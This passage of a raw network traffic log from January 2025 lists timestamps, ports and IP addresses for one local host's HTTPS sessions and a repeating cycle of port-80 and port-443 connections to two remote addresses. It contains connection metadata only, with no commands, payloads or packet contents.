Jan 10, 2025 21:41:04.671659946 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.672015905 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.672080040 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:04.677010059 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:04.719342947 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.978503942 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.978563070 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:04.978578091 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.978605032 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:04.978629112 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:04.978653908 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:04.980153084 CET	49785	443	192.168.2.8	142.250.181.238
Jan 10, 2025 21:41:04.980179071 CET	443	49785	142.250.181.238	192.168.2.8
Jan 10, 2025 21:41:05.004508972 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:05.004559040 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:05.004646063 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:05.005023956 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:05.005043983 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:05.649202108 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:05.649321079 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:05.654588938 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:05.654596090 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:05.654905081 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:05.655056953 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:05.660360098 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:05.707331896 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.229330063 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.229418993 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.235208988 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.235277891 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.247733116 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.247798920 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.247808933 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.247843981 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.253961086 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.254010916 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.315769911 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.315836906 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.315839052 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.315849066 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.315882921 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.315907955 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.318370104 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.318423033 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.318429947 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.318466902 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.324764013 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.325059891 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.325076103 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.325179100 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.331615925 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.331679106 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.331685066 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.331748009 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.347232103 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.347291946 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.347299099 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.347356081 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.373136997 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.373265982 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.373272896 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.373321056 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.379013062 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.379076958 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.379081011 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.379165888 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.385402918 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.385504961 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.385510921 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.385543108 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.392738104 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.392815113 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.392837048 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.392891884 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.395222902 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.395337105 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.395342112 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.395385981 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.396183014 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.396229029 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.396234035 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.396415949 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.397105932 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.397172928 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.397190094 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.397233963 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.397764921 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.397833109 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.402575970 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.402622938 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.402651072 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.402698994 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.402698994 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.402698994 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.402705908 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.402853012 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.402946949 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.403007030 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.404889107 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.405015945 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.407038927 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.407176971 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.430672884 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.430746078 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.430773973 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.430773973 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.430788040 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.430859089 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.438433886 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.438523054 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.438530922 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.438714981 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.439979076 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.440042019 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.440049887 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.440141916 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.442323923 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.442387104 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.442394972 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.442501068 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.443912029 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.443984985 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.443990946 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.444041967 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.444540024 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.444596052 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.444600105 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.444735050 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.444930077 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.445050955 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.445055962 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.445106983 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.445173025 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.445442915 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.459956884 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.460027933 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.460042953 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.460051060 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.460067034 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.460119963 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.465363026 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.465526104 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.465807915 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.466074944 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.472302914 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.472376108 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.472383022 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.472548962 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.479104042 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.479288101 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.479295015 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.479341030 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.481553078 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.481609106 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.481663942 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.481663942 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.481673002 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.481723070 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.481729031 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.481739044 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.481775045 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.481775045 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.481781006 CET	443	49794	216.58.206.65	192.168.2.8
Jan 10, 2025 21:41:08.481813908 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.481813908 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.481813908 CET	49794	443	192.168.2.8	216.58.206.65
Jan 10, 2025 21:41:08.804792881 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:08.809820890 CET	80	49819	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:08.809895992 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:08.810267925 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:08.815177917 CET	80	49819	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:09.614402056 CET	80	49819	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:09.618716002 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:09.623878956 CET	80	49819	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:09.803895950 CET	80	49819	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:09.855798960 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:10.257215023 CET	49828	443	192.168.2.8	104.21.64.1
Jan 10, 2025 21:41:10.257268906 CET	443	49828	104.21.64.1	192.168.2.8
Jan 10, 2025 21:41:10.257352114 CET	49828	443	192.168.2.8	104.21.64.1
Jan 10, 2025 21:41:10.259759903 CET	49828	443	192.168.2.8	104.21.64.1
Jan 10, 2025 21:41:10.259787083 CET	443	49828	104.21.64.1	192.168.2.8
Jan 10, 2025 21:41:10.774475098 CET	443	49828	104.21.64.1	192.168.2.8
Jan 10, 2025 21:41:10.774712086 CET	49828	443	192.168.2.8	104.21.64.1
Jan 10, 2025 21:41:10.778330088 CET	49828	443	192.168.2.8	104.21.64.1
Jan 10, 2025 21:41:10.778367996 CET	443	49828	104.21.64.1	192.168.2.8
Jan 10, 2025 21:41:10.778722048 CET	443	49828	104.21.64.1	192.168.2.8
Jan 10, 2025 21:41:10.782228947 CET	49828	443	192.168.2.8	104.21.64.1
Jan 10, 2025 21:41:10.827332020 CET	443	49828	104.21.64.1	192.168.2.8
Jan 10, 2025 21:41:10.925339937 CET	443	49828	104.21.64.1	192.168.2.8
Jan 10, 2025 21:41:10.925489902 CET	443	49828	104.21.64.1	192.168.2.8
Jan 10, 2025 21:41:10.925718069 CET	49828	443	192.168.2.8	104.21.64.1
Jan 10, 2025 21:41:10.931377888 CET	49828	443	192.168.2.8	104.21.64.1
Jan 10, 2025 21:41:16.495522022 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:16.500324965 CET	80	49819	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:16.694782019 CET	80	49819	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:16.707104921 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:16.707154036 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:16.707214117 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:16.707662106 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:16.707683086 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:16.746397018 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:17.317369938 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:17.317478895 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:17.344470978 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:17.344495058 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:17.344847918 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:17.371156931 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:17.415335894 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:17.415399075 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:17.415421009 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:17.793725014 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:17.793813944 CET	443	49867	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:17.794198990 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:17.794421911 CET	49867	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:17.953216076 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:17.955277920 CET	49875	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:17.958261967 CET	80	49819	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:17.958477020 CET	49819	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:17.960118055 CET	80	49875	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:17.960191011 CET	49875	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:17.960401058 CET	49875	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:17.965179920 CET	80	49875	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:18.613688946 CET	80	49875	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:18.614960909 CET	49880	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:18.615004063 CET	443	49880	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:18.615156889 CET	49880	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:18.615632057 CET	49880	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:18.615645885 CET	443	49880	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:18.668334007 CET	49875	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:19.222309113 CET	443	49880	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:19.224546909 CET	49880	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:19.224561930 CET	443	49880	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:19.224674940 CET	49880	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:19.224684954 CET	443	49880	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:19.687100887 CET	443	49880	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:19.687191010 CET	443	49880	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:19.687325954 CET	49880	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:19.687755108 CET	49880	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:19.691416025 CET	49885	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:19.696368933 CET	80	49885	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:19.698801994 CET	49885	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:19.698868036 CET	49885	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:19.703651905 CET	80	49885	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:20.378555059 CET	80	49885	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:20.379586935 CET	49891	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:20.379642963 CET	443	49891	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:20.379709959 CET	49891	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:20.380002975 CET	49891	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:20.380012989 CET	443	49891	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:20.418275118 CET	49885	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:21.003854990 CET	443	49891	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:21.005868912 CET	49891	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:21.005892038 CET	443	49891	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:21.005981922 CET	49891	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:21.005990982 CET	443	49891	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:21.485801935 CET	443	49891	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:21.485884905 CET	443	49891	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:21.485934019 CET	49891	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:21.486335993 CET	49891	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:21.490037918 CET	49885	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:21.490858078 CET	49898	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:21.495070934 CET	80	49885	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:21.495122910 CET	49885	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:21.495682001 CET	80	49898	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:21.495757103 CET	49898	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:21.495853901 CET	49898	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:21.500690937 CET	80	49898	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:22.121169090 CET	80	49898	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:22.122656107 CET	49904	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:22.122684002 CET	443	49904	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:22.123646021 CET	49904	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:22.123909950 CET	49904	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:22.123920918 CET	443	49904	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:22.168400049 CET	49898	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:22.743493080 CET	443	49904	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:22.756608009 CET	49904	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:22.756624937 CET	443	49904	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:22.756782055 CET	49904	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:22.756788015 CET	443	49904	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:23.162013054 CET	443	49904	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:23.162096977 CET	443	49904	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:23.162225008 CET	49904	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:23.162683010 CET	49904	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:23.166049004 CET	49898	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:23.167129993 CET	49910	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:23.170989037 CET	80	49898	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:23.171046972 CET	49898	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:23.171940088 CET	80	49910	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:23.171999931 CET	49910	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:23.172087908 CET	49910	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:23.176862001 CET	80	49910	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:24.005698919 CET	80	49910	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:24.007307053 CET	49917	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:24.007348061 CET	443	49917	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:24.007440090 CET	49917	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:24.007783890 CET	49917	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:24.007797956 CET	443	49917	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:24.058945894 CET	49910	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:24.653040886 CET	443	49917	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:24.654793978 CET	49917	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:24.654815912 CET	443	49917	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:24.654877901 CET	49917	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:24.654886007 CET	443	49917	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:24.917733908 CET	443	49917	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:24.917809010 CET	443	49917	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:24.917861938 CET	49917	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:24.918559074 CET	49917	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:24.922050953 CET	49910	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:24.923125982 CET	49924	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:24.927000046 CET	80	49910	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:24.927069902 CET	49910	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:24.928004026 CET	80	49924	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:24.928073883 CET	49924	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:24.928162098 CET	49924	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:24.932897091 CET	80	49924	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:25.634325027 CET	80	49924	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:25.635641098 CET	49929	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:25.635677099 CET	443	49929	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:25.635756016 CET	49929	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:25.636054039 CET	49929	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:25.636068106 CET	443	49929	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:25.684012890 CET	49924	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:26.260580063 CET	443	49929	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:26.262624979 CET	49929	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:26.262655973 CET	443	49929	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:26.262727976 CET	49929	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:26.262741089 CET	443	49929	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:26.614814043 CET	443	49929	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:26.614893913 CET	443	49929	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:26.614940882 CET	49929	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:26.615278959 CET	49929	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:26.618729115 CET	49924	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:26.621162891 CET	49937	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:26.623713970 CET	80	49924	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:26.623776913 CET	49924	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:26.626051903 CET	80	49937	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:26.626235962 CET	49937	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:26.626281023 CET	49937	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:26.631078959 CET	80	49937	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:27.253050089 CET	80	49937	193.122.6.168	192.168.2.8
